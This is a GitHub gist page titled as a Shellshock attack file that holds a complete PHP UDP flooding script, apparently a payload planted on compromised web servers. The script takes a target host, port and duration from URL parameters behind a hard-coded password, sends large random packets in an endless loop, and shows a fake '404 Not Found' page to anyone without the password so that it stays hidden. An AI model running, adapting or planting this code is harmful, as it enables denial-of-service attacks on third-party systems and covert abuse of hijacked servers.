Skip to content

Instantly share code, notes, and snippets.

@diogomonica
Created September 26, 2014 17:38
Show Gist options
  • Save diogomonica/ec1b42044589809fffef to your computer and use it in GitHub Desktop.
Save diogomonica/ec1b42044589809fffef to your computer and use it in GitHub Desktop.
Shellshock attack conf.php
?php
error_reporting(E_ERROR | E_PARSE);
ignore_user_abort(TRUE);
$packets = 0;
set_time_limit(0);
$length=65000;
$sp=1;
function rndstr($length) {
$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$rndstr = '';
for ($i = 0; $i < $length; $i++) {
$rndstr .= $charset[rand(0, strlen($charset) - 1)];
}
return $rndstr;
}
if(isset($_GET['host'])&&isset($_GET['time'])&&($_GET['pwd']=="microstresser14")){
$exec_time = $_GET['time'];
$time = time();
$max_time = $time+$exec_time;
$host = $_GET['host'];
$out = rndstr($length);
if(isset($_GET['port'])&&$sp==1){
$port = $_GET['port'];
}else{
$port = rand(79,65000);
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen('udp://'.$host, $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<b>".$host.":".$port."</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
}else{
echo '<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>';
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment